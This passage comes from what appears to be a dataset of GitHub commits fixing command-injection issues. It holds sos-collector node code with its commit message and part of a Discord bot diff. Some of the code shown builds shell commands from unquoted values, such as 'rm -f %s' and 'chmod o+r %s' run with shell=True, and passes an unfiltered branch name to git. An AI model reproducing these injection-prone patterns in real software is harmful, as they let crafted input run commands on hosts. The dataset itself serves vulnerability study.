self.host.containerized:\n prefix = prefix % {\n 'image': self.config['image'] or self.host.container_image\n }\n self.host.prefix = prefix\n\n def read_file(self, to_read):\n '''Reads the specified file and returns the contents'''\n try:\n self.log_debug(\"Reading file %s\" % to_read)\n if not self.local:\n remote = self.sftp.open(to_read)\n return remote.read()\n else:\n with open(to_read, 'r') as rfile:\n return rfile.read()\n except Exception as err:\n if err.errno == 2:\n self.log_debug(\"File %s does not exist on node\" % to_read)\n else:\n self.log_error(\"Error reading %s: %s\" % (to_read, err))\n return ''\n\n def determine_host(self):\n '''Attempts to identify the host installation against supported\n distributions\n '''\n for host_type in self.config['host_types']:\n host = self.config['host_types'][host_type](self.address)\n rel_string = self.read_file(host.release_file).strip()\n # force to str. Older py versions will return a string, newer will\n # return bytes. Forcing to string eases host profile maintenance\n try:\n rel_string = rel_string.decode('utf-8')\n except AttributeError:\n pass\n if host._check_enabled(rel_string):\n self.log_debug(\"Host installation found to be %s\" %\n host.distribution)\n return host\n self.log_error('Unable to determine host installation. Ignoring node')\n raise Exception('Host did not match any supported distributions')\n\n def check_sos_version(self, ver):\n '''Checks to see if the sos installation on the node is AT LEAST the\n given ver. This means that if the installed version is greater than\n ver, this will still return True\n '''\n return LooseVersion(self.sos_info['version']) >= ver\n\n def is_installed(self, pkg):\n '''Checks if a given package is installed on the node'''\n cmd = self.host.pkg_query(pkg)\n res = self.run_command(cmd)\n if res['status'] == 0:\n return True\n return False\n\n def run_command(self, cmd, timeout=180, get_pty=False, need_root=False):\n '''Runs a given cmd, either via the SSH session or locally'''\n if cmd.startswith('sosreport'):\n cmd = cmd.replace('sosreport', self.host.sos_bin_path)\n need_root = True\n if need_root:\n get_pty = True\n cmd = self._format_cmd(cmd)\n self.log_debug('Running command %s' % cmd)\n if 'atomic' in cmd:\n get_pty = True\n if not self.local:\n now = time.time()\n sin, sout, serr = self.client.exec_command(cmd, timeout=timeout,\n get_pty=get_pty)\n while time.time() < now + timeout:\n if not sout.channel.exit_status_ready():\n time.sleep(0.1)\n if self.config['become_root'] and need_root:\n sin.write(self.config['root_password'] + '\\n')\n sin.flush()\n need_root = False\n if self.config['sudo_pw'] and need_root:\n sin.write(self.config['sudo_pw'] + '\\n')\n sin.flush()\n need_root = False\n if sout.channel.exit_status_ready():\n rc = sout.channel.recv_exit_status()\n return self._fmt_output(sout, serr, rc)\n else:\n raise socket.timeout\n else:\n proc = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)\n if self.config['become_root'] and need_root:\n stdout, stderr = proc.communicate(\n input=self.config['root_password'] + '\\n'\n )\n elif self.config['need_sudo'] and need_root:\n stdout, stderr = proc.communicate(\n input=self.config['sudo_pw'] + '\\n'\n )\n else:\n stdout, stderr = proc.communicate()\n rc = proc.returncode\n return self._fmt_output(stdout=stdout, stderr=stderr, rc=rc)\n\n def sosreport(self):\n '''Run a sosreport on the node, then collect it'''\n self.finalize_sos_cmd()\n self.log_debug('Final sos command set to %s' % self.sos_cmd)\n try:\n path = self.execute_sos_command()\n if path:\n self.finalize_sos_path(path)\n else:\n self.log_error('Unable to determine path of sos archive')\n if self.sos_path:\n self.retrieved = self.retrieve_sosreport()\n except Exception:\n pass\n self.cleanup()\n\n def _determine_ssh_error(self, errors):\n '''Used to handle ssh exceptions when trying to connect the node.\n\n errors: the 'errors' dict from the exception raised\n\n returns: either a formatted error string or None\n '''\n for err in errors:\n errno = errors[err].errno\n if errno == 103:\n return 'Key exchange failed'\n if errno == 108:\n return 'SSH version is unsupported'\n if errno == 111:\n return (\"Could not open SSH session on port %s\" %\n self.config['ssh_port'])\n if errno == 115:\n return \"No valid SSH user '%s'\" % self.config['ssh_user']\n return None\n\n def open_ssh_session(self):\n '''Create the persistent ssh session we use on the node'''\n try:\n self.client = paramiko.SSHClient()\n self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n self.client.load_system_host_keys()\n self.log_debug('Opening session to %s.' % self.address)\n self.client.connect(self.address,\n username=self.config['ssh_user'],\n port=self.config['ssh_port'],\n password=self.config['password'] or None,\n timeout=15)\n self.log_debug('%s successfully connected' % self._hostname)\n return True\n except paramiko.AuthenticationException:\n if not self.config['password']:\n self.log_error('Authentication failed. SSH keys installed?')\n else:\n self.log_error('Authentication failed. Incorrect password.')\n except paramiko.BadAuthenticationType:\n self.log_error('Bad authentication type. The node rejected the '\n 'authentication attempt.')\n except paramiko.BadHostKeyException:\n self.log_error('Provided key was rejected by remote SSH client.'\n ' Check ~/.ssh/known_hosts.')\n except socket.gaierror as err:\n if err.errno == -2:\n self.log_error('Provided hostname did not resolve.')\n else:\n self.log_error('Socket error trying to connect: %s' % err)\n except Exception as err:\n msg = \"Unable to connect: %s\" % err\n if hasattr(err, 'errors'):\n msg = self._determine_ssh_error(err.errors)\n self.log_error(msg)\n raise\n\n def close_ssh_session(self):\n '''Handle closing the SSH session'''\n if self.local:\n return True\n try:\n self.client.close()\n self.connected = False\n return True\n except Exception as e:\n self.log_error('Error closing SSH session: %s' % e)\n return False\n\n def _preset_exists(self, preset):\n '''Verifies if the given preset exists on the node'''\n return preset in self.sos_info['presets']\n\n def _plugin_exists(self, plugin):\n '''Verifies if the given plugin exists on the node'''\n return any(plugin in s for s in [self.sos_info['enabled'],\n self.sos_info['disabled']])\n\n def _check_enabled(self, plugin):\n '''Checks to see if the plugin is default enabled on node'''\n return plugin in self.sos_info['enabled']\n\n def _check_disabled(self, plugin):\n '''Checks to see if the plugin is default disabled on node'''\n return plugin in self.sos_info['disabled']\n\n def _plugin_option_exists(self, opt):\n '''Attempts to verify that the given option is available on the node.\n Note that we only get available options for enabled plugins, so if a\n plugin has been force-enabled we cannot validate if the plugin option\n is correct or not'''\n plug = opt.split('.')[0]\n if not self._plugin_exists(plug):\n return False\n if (self._check_disabled(plug) and\n plug not in self.config['enable_plugins']):\n return False\n if self._check_enabled(plug):\n return opt in self.sos_info['options']\n # plugin exists, but is normally disabled. Assume user knows option is\n # valid when enabling the plugin\n return True\n\n def _fmt_sos_opt_list(self, opts):\n '''Returns a comma delimited list for sos plugins that are confirmed\n to exist on the node'''\n return ','.join(o for o in opts if self._plugin_exists(o))\n\n def finalize_sos_cmd(self):\n '''Use host facts and compare to the cluster type to modify the sos\n command if needed'''\n self.sos_cmd = self.config['sos_cmd']\n self.sos_cmd = self.host.prefix + self.sos_cmd\n\n label = self.determine_sos_label()\n if label:\n self.sos_cmd = ' %s %s' % (self.sos_cmd, label)\n\n if self.config['sos_opt_line']:\n return True\n\n if self.config['only_plugins']:\n plugs = [o for o in self.config['only_plugins']\n if self._plugin_exists(o)]\n if len(plugs) != len(self.config['only_plugins']):\n not_only = list(set(self.config['only_plugins']) - set(plugs))\n self.log_debug('Requested plugins %s were requested to be '\n 'enabled but do not exist' % not_only)\n only = self._fmt_sos_opt_list(self.config['only_plugins'])\n if only:\n self.sos_cmd += ' --only-plugins=%s' % only\n return True\n\n if self.config['skip_plugins']:\n # only run skip-plugins for plugins that are enabled\n skip = [o for o in self.config['skip_plugins']\n if self._check_enabled(o)]\n if len(skip) != len(self.config['skip_plugins']):\n not_skip = list(set(self.config['skip_plugins']) - set(skip))\n self.log_debug('Requested to skip plugins %s, but plugins are '\n 'already not enabled' % not_skip)\n skipln = self._fmt_sos_opt_list(skip)\n if skipln:\n self.sos_cmd += ' --skip-plugins=%s' % skipln\n\n if self.config['enable_plugins']:\n # only run enable for plugins that are disabled\n opts = [o for o in self.config['enable_plugins']\n if o not in self.config['skip_plugins']\n and self._check_disabled(o) and self._plugin_exists(o)]\n if len(opts) != len(self.config['enable_plugins']):\n not_on = list(set(self.config['enable_plugins']) - set(opts))\n self.log_debug('Requested to enable plugins %s, but plugins '\n 'are already enabled or do not exist' % not_on)\n enable = self._fmt_sos_opt_list(opts)\n if enable:\n self.sos_cmd += ' --enable-plugins=%s' % enable\n\n if self.config['plugin_options']:\n opts = [o for o in self.config['plugin_options']\n if self._plugin_exists(o.split('.')[0])\n and self._plugin_option_exists(o.split('=')[0])]\n if opts:\n self.sos_cmd += ' -k %s' % ','.join(o for o in opts)\n\n if self.config['preset']:\n if self._preset_exists(self.config['preset']):\n self.sos_cmd += ' --preset=%s' % self.config['preset']\n else:\n self.log_debug('Requested to enable preset %s but preset does '\n 'not exist on node' % self.config['preset'])\n\n def determine_sos_label(self):\n '''Determine what, if any, label should be added to the sosreport'''\n label = ''\n label += self.config['cluster'].get_node_label(self)\n\n if self.config['label']:\n label += ('%s' % self.config['label'] if not label\n else '-%s' % self.config['label'])\n\n if not label:\n return None\n\n self.log_debug('Label for sosreport set to %s' % label)\n if self.check_sos_version('3.6'):\n lcmd = '--label'\n else:\n lcmd = '--name'\n label = '%s-%s' % (self.address.split('.')[0], label)\n return '%s=%s' % (lcmd, label)\n\n def finalize_sos_path(self, path):\n '''Use host facts to determine if we need to change the sos path\n we are retrieving from'''\n pstrip = self.host.sos_path_strip\n if pstrip:\n path = path.replace(pstrip, '')\n path = path.split()[0]\n self.log_debug('Final sos path: %s' % path)\n self.sos_path = path\n self.archive = path.split('/')[-1]\n\n def determine_sos_error(self, rc, stdout):\n if rc == -1:\n return 'sosreport process received SIGKILL on node'\n if rc == 1:\n if 'sudo' in stdout:\n return 'sudo attempt failed'\n if rc == 127:\n return 'sosreport terminated unexpectedly. Check disk space'\n if len(stdout) > 0:\n return stdout.split('\\n')[0:1]\n else:\n return 'sos exited with code %s' % rc\n\n def execute_sos_command(self):\n '''Run sosreport and capture the resulting file path'''\n self.log_info(\"Generating sosreport...\")\n try:\n path = False\n res = self.run_command(self.sos_cmd,\n timeout=self.config['timeout'],\n get_pty=True, need_root=True)\n if res['status'] == 0:\n for line in res['stdout'].splitlines():\n if fnmatch.fnmatch(line, '*sosreport-*tar*'):\n path = line.strip()\n else:\n err = self.determine_sos_error(res['status'], res['stdout'])\n self.log_debug(\"Error running sosreport. rc = %s msg = %s\"\n % (res['status'], res['stdout'] or\n res['stderr']))\n raise Exception(err)\n return path\n except socket.timeout:\n self.log_error('Timeout exceeded')\n raise\n except Exception as e:\n self.log_error('Error running sosreport: %s' % e)\n raise\n\n def retrieve_file(self, path):\n '''Copies the specified file from the host to our temp dir'''\n destdir = self.config['tmp_dir'] + '/'\n dest = destdir + path.split('/')[-1]\n try:\n if not self.local:\n if self.file_exists(path):\n self.log_debug(\"Copying remote %s to local %s\" %\n (path, destdir))\n self.sftp.get(path, dest)\n else:\n self.log_debug(\"Attempting to copy remote file %s, but it \"\n \"does not exist on filesystem\" % path)\n return False\n else:\n self.log_debug(\"Moving %s to %s\" % (path, destdir))\n shutil.copy(path, dest)\n return True\n except Exception as err:\n self.log_debug(\"Failed to retrieve %s: %s\" % (path, err))\n return False\n\n def remove_file(self, path):\n '''Removes the spciefied file from the host. This should only be used\n after we have retrieved the file already\n '''\n try:\n if self.file_exists(path):\n self.log_debug(\"Removing file %s\" % path)\n if (self.local or self.config['become_root'] or\n self.config['need_sudo']):\n cmd = \"rm -f %s\" % path\n res = self.run_command(cmd, need_root=True)\n else:\n self.sftp.remove(path)\n return True\n else:\n self.log_debug(\"Attempting to remove remote file %s, but it \"\n \"does not exist on filesystem\" % path)\n return False\n except Exception as e:\n self.log_debug('Failed to remove %s: %s' % (path, e))\n return False\n\n def retrieve_sosreport(self):\n '''Collect the sosreport archive from the node'''\n if self.sos_path:\n if self.config['need_sudo'] or self.config['become_root']:\n try:\n self.make_archive_readable(self.sos_path)\n except Exception:\n self.log_error('Failed to make archive readable')\n return False\n try:\n self.make_archive_readable(self.sos_path + '.md5')\n except Exception:\n self.log_debug('Failed to make md5 readable')\n self.logger.info('Retrieving sosreport from %s' % self.address)\n self.log_info('Retrieving sosreport...')\n ret = self.retrieve_file(self.sos_path)\n if ret:\n self.log_info('Successfully collected sosreport')\n else:\n self.log_error('Failed to retrieve sosreport')\n return False\n self.hash_retrieved = self.retrieve_file(self.sos_path + '.md5')\n return True\n else:\n # sos sometimes fails but still returns a 0 exit code\n if self.stderr.read():\n e = self.stderr.read()\n else:\n e = [x.strip() for x in self.stdout.readlines() if x.strip][-1]\n self.logger.error(\n 'Failed to run sosreport on %s: %s' % (self.address, e))\n self.log_error('Failed to run sosreport. %s' % e)\n return False\n\n def remove_sos_archive(self):\n '''Remove the sosreport archive from the node, since we have\n collected it and it would be wasted space otherwise'''\n if self.sos_path is None:\n return\n if 'sosreport' not in self.sos_path:\n self.log_debug(\"Node sosreport path %s looks incorrect. Not \"\n \"attempting to remove path\" % self.sos_path)\n return\n removed = self.remove_file(self.sos_path)\n if not removed:\n self.log_error('Failed to remove sosreport')\n\n def cleanup(self):\n '''Remove the sos archive from the node once we have it locally'''\n self.remove_sos_archive()\n if self.hash_retrieved:\n self.remove_file(self.sos_path + '.md5')\n cleanup = self.host.set_cleanup_cmd()\n if cleanup:\n self.run_command(cleanup)\n\n def collect_extra_cmd(self, filenames):\n '''Collect the file created by a cluster outside of sos'''\n for filename in filenames:\n try:\n if self.config['need_sudo'] or self.config['become_root']:\n try:\n self.make_archive_readable(filename)\n except Exception as err:\n self.log_error(\"Unable to retrieve file %s\" % filename)\n self.log_debug(\"Failed to make file %s readable: %s\"\n % (filename, err))\n continue\n ret = self.retrieve_file(filename)\n if ret:\n self.remove_file(filename)\n else:\n self.log_error(\"Unable to retrieve file %s\" % filename)\n except Exception as e:\n msg = 'Error collecting additional data from master: %s' % e\n self.log_error(msg)\n\n def make_archive_readable(self, filepath):\n '''Used to make the given archive world-readable, which is slightly\n better than changing the ownership outright.\n\n This is only used when we're not connecting as root.\n '''\n cmd = 'chmod o+r %s' % filepath\n res = self.run_command(cmd, timeout=10, need_root=True)\n if res['status'] == 0:\n return True\n else:\n msg = \"Exception while making %s readable. Return code was %s\"\n self.log_error(msg % (filepath, res['status']))\n raise Exception\n"}}, "msg": "[global] Quote options locally everywhere\n\nAn earlier commit passed cluster option values through pipes.quote() in\nan effort to prevent command injection on the remote nodes, however this\ndid not capture every avenue through which a maliciously designed option\nvalue or sos command could take.\n\nNow, quote the option values at the time of use, and also quote any sos\noption that isn't an on/off toggle.\n\nAdditionally, re-work how the ovirt/rhv database query is quoted and\nfilter out cluster/datacenter values that are likely to contain SQL\ncode, since we cannot rely on the driver to do this since we don't have\nan actual connection to the database.\n\nOriginal discovery of issues and patch work thanks to Riccardo Schirone.\n\nSigned-off-by: Jake Hunsaker "}}, "https://github.com/indrajithbandara/neko": {"4500ca3d5f74d48e72eb37f95a88b1fc343a662f": {"url": "https://api.github.com/repos/indrajithbandara/neko/commits/4500ca3d5f74d48e72eb37f95a88b1fc343a662f", "html_url": "https://github.com/indrajithbandara/neko/commit/4500ca3d5f74d48e72eb37f95a88b1fc343a662f", "message": "Lots of changes, bug fixes, security fixes and performance tweaks.\n\n- Moved `git` commands to use asyncio.subprocess instead of threadpoolexecutors\n- Merged owneronly into botbits extension\n- Moved botbits extension to `neko` pkg and renamed to core-commands\n- Added filtering of branch name to prevent possible code injection.\n- Implemented NekoCommandError which is a type of warning and if caught, suppresses\n some output. This is useful for command errors due to crappy user input\n where I don't need the tracebacks cluttering my system journal.\n- Git command output is now wrapped in triple backticks.\n- Help command has been optimised.\n- Help command now supports searching by aliases.\n- Implemented qualified_aliases and qualified_names properties in command.\n- Removed double traceback printout in on_error in NekoCommandMixin, replaced with\n single traceback printout.\n- Fixed double definition of `def` command for wordnik command.\n- core_commands is now loaded by force by the client, not in plugins.json.\n- Added rng cog for some basic random-number generation bits and pieces.", "sha": "4500ca3d5f74d48e72eb37f95a88b1fc343a662f", "keyword": "command injection prevent", "diff": "diff --git a/cogs/dictionaries/wordnik.py b/cogs/dictionaries/wordnik.py\nindex 0a66104..f2d534f 100755\n--- a/cogs/dictionaries/wordnik.py\n+++ b/cogs/dictionaries/wordnik.py\n@@ -38,7 +38,7 @@ def __init__(self):\n \n @neko.command(\n name='def',\n- aliases=['define', 'def', 'dfn'],\n+ aliases=['define', 'dfn'],\n brief='Looks for word definitions.',\n usage='name or phrase')\n async def get_word(self, ctx, *, word: str):\ndiff --git a/cogs/owneronly.py b/cogs/owneronly.py\ndeleted file mode 100755\nindex 71cafe5..0000000\n--- a/cogs/owneronly.py\n+++ /dev/null\n@@ -1,233 +0,0 @@\n-\"\"\"\n-Owner-only commands. These do tasks such as restart the bot.\n-\"\"\"\n-import os\n-import subprocess\n-import sys\n-\n-import discord\n-import time\n-\n-import neko\n-\n-__all__ = ['OwnerOnlyCog', 'setup']\n-\n-\n-def __run_git_command(dont_stash, *args):\n- # We assume sys.argv[0] will be __main__.py.\n- # We therefore just get that path, get the dirname\n- # and go up one directory to get our working directory\n- # to call git in.\n- entry_point = os.path.dirname(sys.argv[0])\n- entry_point = os.path.join(entry_point, '..')\n-\n- # We do not let this run for more than 60 seconds.\n- # If it does, a TimeoutExpired exception will be thrown\n- # and we allow this to propagate out of this executor, into\n- # the command handler, where it shall be handled by the on_error\n- # handler I designed.\n-\n- # We run git stash first in case there is uncommitted changes.\n- if not dont_stash:\n- subprocess.run(\n- ['git', 'stash'],\n- cwd=entry_point,\n- stdout=subprocess.PIPE,\n- stderr=subprocess.PIPE,\n- timeout=60,\n- encoding='ascii'\n- )\n-\n- result = subprocess.run(\n- ['git', *args],\n- cwd=entry_point,\n- stdout=subprocess.PIPE,\n- stderr=subprocess.PIPE,\n- timeout=60,\n- encoding='ascii'\n- )\n-\n- if not dont_stash:\n- subprocess.run(\n- ['git', 'stash', 'apply'],\n- cwd=entry_point,\n- stdout=subprocess.PIPE,\n- stderr=subprocess.PIPE,\n- timeout=60,\n- encoding='ascii'\n- )\n- return result\n-\n-\n-async def _git_stash_and_do(ctx, *args, dont_stash=False):\n- # Run in an executor to ensure we do not block the event loop.\n- async with ctx.channel.typing():\n- completed_process = await neko.no_block(\n- __run_git_command,\n- args=[dont_stash, *args]\n- )\n-\n- print(completed_process.stdout)\n- print(completed_process.stderr, file=sys.stderr)\n-\n- stream = 'stderr' if completed_process.returncode else 'stdout'\n- stream = getattr(completed_process, stream)\n-\n- # If the output is very long, paginate.\n- title = f'git {\" \".join(args)}'\n- if len(stream) > 1900:\n- pb = neko.PaginatedBook(\n- title=title,\n- ctx=ctx,\n- max_size=800\n- )\n- pb.add_lines(stream)\n- await pb.send()\n- else:\n- await ctx.send(\n- embed=discord.Embed(\n- title=title,\n- description=stream,\n- color=0x9b2d09\n- )\n- )\n-\n-\n-class OwnerOnlyCog(neko.Cog):\n- \"\"\"Cog containing owner-only commands, such as to restart the bot.\"\"\"\n-\n- permissions = (neko.Permissions.SEND_MESSAGES |\n- neko.Permissions.ADD_REACTIONS |\n- neko.Permissions.READ_MESSAGES |\n- neko.Permissions.MANAGE_MESSAGES)\n-\n- async def __local_check(self, ctx):\n- \"\"\"Only the owner can run any commands or groups in this cog.\"\"\"\n- return await ctx.bot.is_owner(ctx.author)\n-\n- @neko.group(\n- name='sudo',\n- usage='|subcommand',\n- brief='Commands and utilities only runnable by the bot owner.',\n- hidden=True,\n- invoke_without_command=True)\n- async def command_grp(self, ctx):\n- \"\"\"\n- Run without any arguments to show a list of available commands.\n- \"\"\"\n- book = neko.PaginatedBook(title='Available commands',\n- ctx=ctx)\n-\n- for command in self.command_grp.commands:\n- book.add_line(command.name)\n-\n- await book.send()\n-\n- @command_grp.command(\n- name='stop', aliases=['restart'],\n- brief='Kills the event loop and shuts down the bot.')\n- async def stop_bot(self, ctx):\n- await ctx.send('Okay, will now logout.')\n- await ctx.bot.logout()\n-\n- @command_grp.command(\n- name='invite',\n- brief='DM\\'s you a bot invite.'\n- )\n- async def invite(self, ctx):\n- await ctx.author.send(ctx.bot.invite_url)\n-\n- @command_grp.command(\n- name='load',\n- brief='Loads a given extension into the bot.',\n- usage='extension.qualified.name'\n- )\n- async def load(self, ctx, *, fqn):\n- \"\"\"\n- Loads the given extension name into the bot.\n-\n- WARNING! This will not run in an executor. If the extension loading\n- process blocks, then the entire bot will block.\n- \"\"\"\n- start = time.time()\n- ctx.bot.load_extension(fqn)\n- delta = (time.time() - start) * 1e4\n-\n- await ctx.send(f'Loaded `{fqn}` successfully in {delta:.3}ms')\n-\n- @command_grp.command(\n- name='unload',\n- brief='Unloads a given extension from the bot (and any related cogs).',\n- usage='extension.qualified.name|-c CogName'\n- )\n- async def unload(self, ctx, *, fqn):\n- \"\"\"\n- Unloads the given extension name from the bot.\n-\n- WARNING! This will not run in an executor. If the extension loading\n- process blocks, then the entire bot will block.\n-\n- Note. If you wish to remove a single cog instead... pass the fqn\n- in with the -c flag.\n- \"\"\"\n- if fqn.startswith('-c'):\n- fqn = fqn[2:].lstrip()\n- if fqn not in ctx.bot.cogs:\n- raise ModuleNotFoundError(\n- 'Cog was not loaded to begin with.'\n- )\n- func = ctx.bot.remove_cog\n- else:\n- if fqn not in ctx.bot.extensions:\n- raise ModuleNotFoundError(\n- 'Extension was not loaded to begin with.'\n- )\n- func = ctx.bot.unload_extension\n-\n- start = time.time()\n- func(fqn)\n- delta = (time.time() - start) * 1e4\n-\n- await ctx.send(f'Unloaded `{fqn}` successfully via '\n- f'{func.__name__} in {delta:.3}ms')\n-\n-\n-\n- @command_grp.group(\n- name='git',\n- brief='Various version control tasks.'\n- )\n- async def git_group(self, ctx):\n- pass\n-\n- @git_group.command(\n- name='pull',\n- brief='Executes `git pull`.'\n- )\n- async def git_pull(self, ctx):\n- await _git_stash_and_do(ctx, 'pull')\n-\n- @git_group.command(\n- name='checkout',\n- brief='Executes `git checkout`.'\n- )\n- async def git_checkout(self, ctx, *, branch: str):\n- await _git_stash_and_do(ctx, 'checkout', branch)\n-\n- @git_group.command(\n- name='log',\n- brief='Executes `git log`.'\n- )\n- async def git_log(self, ctx):\n- \"\"\"Shows the git log. Suppresses any email information.\"\"\"\n- await _git_stash_and_do(\n- ctx,\n- 'log',\n- '-n',\n- '30',\n- '--oneline',\n- dont_stash=True\n- )\n-\n-\n-setup = OwnerOnlyCog.mksetup()\ndiff --git a/cogs/rng.py b/cogs/rng.py\nnew file mode 100644\nindex 0000000..f1b70ea\n--- /dev/null\n+++ b/cogs/rng.py\n@@ -0,0 +1,73 @@\n+\"\"\"\n+Various random number generation bits and pieces.\n+\"\"\"\n+import random\n+\n+import neko\n+\n+\n+class RngCog(neko.Cog):\n+ @neko.command(\n+ name='coinflip',\n+ aliases=['toss', 'flip'],\n+ brief='Flips a coin.',\n+ usage='|option1 option2')\n+ async def toss(self, ctx, *, args=None):\n+ \"\"\"\n+ Simulates a coin flip. You can specify optional replacements\n+ for heads and tails.\n+ \"\"\"\n+ if args is None:\n+ heads = 'heads'\n+ tails = 'tails'\n+ else:\n+ args = args.split(' ')\n+ if len(args) != 2:\n+ raise neko.NekoCommandError('Expected two options')\n+ heads, tails = args\n+\n+ await ctx.send(random.choice((heads, tails)))\n+\n+ @neko.command(\n+ name='rtd',\n+ aliases=['dice', 'roll'],\n+ brief='Rolls a dice.',\n+ usage='|-sides 14|-n 3|-sides 12 -n 2'\n+ )\n+ async def rtd(self, ctx, *args):\n+ \"\"\"\n+ Optional flags:\\r\n+ -sides x: assumes a dice has `x` sides.\\r\n+ -n y: rolls said dice `y` times.\n+ \"\"\"\n+ sides = 6\n+ n = 1\n+ args = list(args)\n+\n+ while len(args) > 0:\n+ flag = args.pop(0)\n+ try:\n+ if flag == '-sides' or flag == '-n':\n+ option = args.pop(0)\n+\n+ if flag == '-n':\n+ n = int(option)\n+ else:\n+ sides = int(option)\n+ else:\n+ raise neko.NekoCommandError(f'Unrecognised option {flag}')\n+ except ValueError:\n+ err = f'{option} must be an integer greater than 0.'\n+ raise neko.NekoCommandError(err) from None\n+ except IndexError:\n+ raise neko.NekoCommandError(\n+ f'Missing value for {flag}') from None\n+\n+ results = []\n+ for i in range(0, n):\n+ results.append(str(random.randint(1, sides)))\n+\n+ await ctx.send(', '.join(results))\n+\n+\n+setup = RngCog.mksetup()\ndiff --git a/neko/client.py b/neko/client.py\nindex 8baa379..9f9d5c2 100755\n--- a/neko/client.py\n+++ b/neko/client.py\n@@ -146,6 +146,9 @@ def up_time(self) -> time.time:\n \n def _load_plugins(self):\n \"\"\"Loads any plugins in the plugins.json file.\"\"\"\n+ # Load core commands.\n+ self.load_extension('neko.core_commands')\n+\n for p in io.load_or_make_json('plugins.json', default=[]):\n # noinspection PyBroadException\n try:\ndiff --git a/neko/command.py b/neko/command.py\nindex b53473f..8df9a82 100755\n--- a/neko/command.py\n+++ b/neko/command.py\n@@ -10,12 +10,34 @@\n \n from neko import excuses, book, strings\n \n-__all__ = ['NekoCommand', 'NekoGroup', 'command', 'group']\n+__all__ = ['NekoCommand', 'NekoGroup', 'command', 'group', 'NekoCommandError']\n \n \n class CommandMixin(abc.ABC):\n \"\"\"Functionality to be inherited by a command or group type.\"\"\"\n \n+ @property\n+ def qualified_aliases(self):\n+ \"\"\"\n+ Gets a list of qualified alias names.\n+ \"\"\"\n+ fq_names = []\n+ # noinspection PyUnresolvedReferences\n+ for alias in self.aliases:\n+ # noinspection PyUnresolvedReferences\n+ fq_names.append(f'{self.full_parent_name} {alias}'.strip())\n+ return fq_names\n+\n+ @property\n+ def qualified_names(self):\n+ \"\"\"\n+ Gets a list of the qualified command name and any qualified alias names.\n+ \"\"\"\n+ # noinspection PyUnresolvedReferences\n+ fq_names = [self.qualified_name]\n+ fq_names.extend(self.qualified_aliases)\n+ return fq_names\n+\n @staticmethod\n async def on_error(cog, ctx: commands.Context, error: BaseException):\n \"\"\"Handles any errors that may occur in a command.\"\"\"\n@@ -26,7 +48,6 @@ class CommandMixin(abc.ABC):\n await ctx.message.add_reaction('\\N{THOUGHT BALLOON}')\n return\n \n- traceback.print_exception(type(error), error, error.__traceback__)\n error = error.__cause__ if error.__cause__ else error\n \n if isinstance(error, commands.CheckFailure):\n@@ -37,17 +58,22 @@ class CommandMixin(abc.ABC):\n description=strings.capitalise(excuses.get_excuse()),\n color=0xffbf00 if isinstance(error, Warning) else 0xff0000\n )\n- error_description = strings.pascal_to_space(type(error).__name__)\n \n- cog = strings.pascal_to_space(getattr(cog, 'name', str(cog)))\n- error_description += f' in {cog}: {str(error)}'\n+ if isinstance(error, NekoCommandError):\n+ embed.set_footer(text=str(error))\n+ else:\n+ # We only show info like the cog name, etc if we are not a\n+ # neko command error. Likewise, we only dump a traceback if the\n+ # latter holds.\n+ error_description = strings.pascal_to_space(type(error).__name__)\n \n- embed.set_footer(text=error_description)\n+ cog = strings.pascal_to_space(getattr(cog, 'name', str(cog)))\n+ error_description += f' in {cog}: {str(error)}'\n+ embed.set_footer(text=error_description)\n+ traceback.print_exception(type(error), error, error.__traceback__)\n \n await ctx.send(embed=embed)\n \n- traceback.print_exception(type(error), error, error.__traceback__)\n-\n \n class NekoCommand(commands.Command, CommandMixin):\n \"\"\"\n@@ -118,8 +144,8 @@ def command(**kwargs) -> typing.Callable[[typing.Any], commands.Command]:\n A list of predicates that verifies if the command could be executed\n with the given :class:`.Context` as the sole parameter. If an exception\n is necessary to be thrown to signal failure, then one derived from\n- :exc:`.CommandError` should be used. Note that if the checks fail then\n- :exc:`.CheckFailure` exception is raised to the\n+ :exc:`.CommandError` should be used. Note that if the checks fail\n+ then :exc:`.CheckFailure` exception is raised to the\n :func:`.on_command_error` event.\n description: str\n The message prefixed into the default help command.\n@@ -194,7 +220,7 @@ def group(**kwargs) -> typing.Callable[[typing.Any], commands.Group]:\n with the given :class:`.Context` as the sole parameter. If an\n exception\n is necessary to be thrown to signal failure, then one derived from\n- :exc:`.CommandError` should be used. Note that if the checks fail\n+ :exc:`.NekoCommandError` should be used. Note that if the checks fail\n then\n :exc:`.CheckFailure` exception is raised to the\n :func:`.on_command_error` event.\n@@ -236,3 +262,23 @@ def group(**kwargs) -> typing.Callable[[typing.Any], commands.Group]:\n \"\"\"\n kwargs.setdefault('cls', NekoGroup)\n return commands.command(**kwargs)\n+\n+\n+class NekoCommandError(RuntimeWarning):\n+ \"\"\"\n+ Indicates an error has occurred in a command, but it is based on validation\n+ of input, or calculation of a result; as opposed to an error in the code\n+ itself.\n+\n+ This is used to flag various problems such as missing arguments in a\n+ complicated argument parser, or invalid values. This is handled slightly\n+ differently to any other type of error/warning in the command handler.\n+ \"\"\"\n+ def __init__(self, msg: typing.Union[str, typing.Iterable[str]]):\n+ if isinstance(msg, str):\n+ self.msg = msg\n+ else:\n+ self.msg = ', '.join(msg)\n+\n+ def __str__(self):\n+ return self.msg\ndiff --git a/cogs/botbits.py b/neko/core_commands.py\nsimilarity index 56%\nrename from cogs/botbits.py\nrename to neko/core_commands.py\nindex a3c3e6c..4309e5c 100755\n--- a/cogs/botbits.py\n+++ b/neko/core_commands.py\n@@ -6,6 +6,11 @@\n import random\n \n import discord\n+import os\n+\n+import sys\n+\n+import time\n \n import neko\n \n@@ -62,17 +67,34 @@ def __init__(self, bot: neko.NekoBot):\n # correct page number.\n offset = len(bk)\n \n+ # for i, cmd in enumerate(cmds):\n+ # bk += await self.gen_spec_page(ctx, cmd)\n+ # # We add 1, as w\n+ # command_to_page[cmd.qualified_name] = i + offset\n+ #\n+ # # Also register any aliases.\n+ # for alias in cmd.aliases:\n+ # # This is the only way to get the fully qualified alias name.\n+ # fq_alias = f'{cmd.full_parent_name} {alias}'.strip()\n+ # command_to_page[fq_alias] = i + offset\n+\n+ # This is a lot lighter weight.\n+ page_index = None\n for i, cmd in enumerate(cmds):\n bk += await self.gen_spec_page(ctx, cmd)\n- # We add 1, as w\n- command_to_page[cmd.qualified_name] = i + offset\n+\n+ if page_index is None and query in cmd.qualified_names:\n+ # I assume checking equality of commands is slower\n+ # than checking for is None each iteration.\n+ page_index = i + offset\n \n # Set the page\n- try:\n- page_index = command_to_page[query]\n- except KeyError:\n+ if page_index is None and query:\n await 